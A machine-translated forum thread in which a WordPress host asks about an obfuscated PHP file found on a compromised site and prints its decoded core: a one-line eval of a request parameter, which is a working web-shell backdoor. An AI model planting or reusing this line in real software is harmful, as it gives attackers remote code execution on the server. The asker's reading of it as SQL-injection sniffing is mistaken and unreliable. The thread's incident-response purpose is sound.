WordPress黑客攻擊

Question

我爲小客戶網站運行了幾十個WordPress安裝的VPS。

我剛剛注意到一個站點有一個名爲「pnxnfup.php」的php腳本，它內部有一個加載base64字母數字的字符。

在網站的根目錄中還有很多沒有擴展名的文件 - 只是隨機的alphanum字符串 - withih說文件看起來像IP地址正在被記錄 - 我猜這些是訪客IP地址（我的是在那裏）。

任何人都知道這可能是什麼類型的利用？

更新：18/12/12

好，我設法pnxnfup.php的內容進行解碼

當我解碼原始PHP文件，它包含了更多base64編碼的內容穿插着隨機亂碼PHP的評論，我必須手動去除之前，我可以解碼文件的其餘部分。

一旦我解碼，我發現更多base64編碼的字符串與更多亂碼php評論。有一次，我反覆的剝離和解碼過程（！唷）我留下了這一點：

if(isset($_REQUEST['a'.'s'.'c'])) 
eval 
(stripslashes($_REQUEST['a'.'sc'])); 

我明白大致也是這個代碼做什麼（嗅探與ASC參數請求這將表明，可以針對性的URL SQL注入），但我不明白這對黑客自己有什麼價值。我猜想黑客必須滲透得更深，而我錯過了其他的東西？

Answer 1

這似乎是相當普遍的，如果你檢查wordpress support site

但它是什麼，究竟是很難說，如果我是你，我會建立一個沙箱環​​境和它玩了一下週圍，以圖出於黑客的目的。

Answer 2

也許這個網站使用的是「免費」主題。其中大多數代碼都會收集您的密碼並登錄以在您的網站上添加惡意軟件腳本。你有網站的備份嗎？我強烈建議您清理所有文件，然後更改您的FTP密碼（如果可能，請登錄），然後重新上傳所有文件。

順便說一句，也許Sucuri可以幫你找到一些被感染的文件：http://sitecheck.sucuri.net/results/YOURURL.com/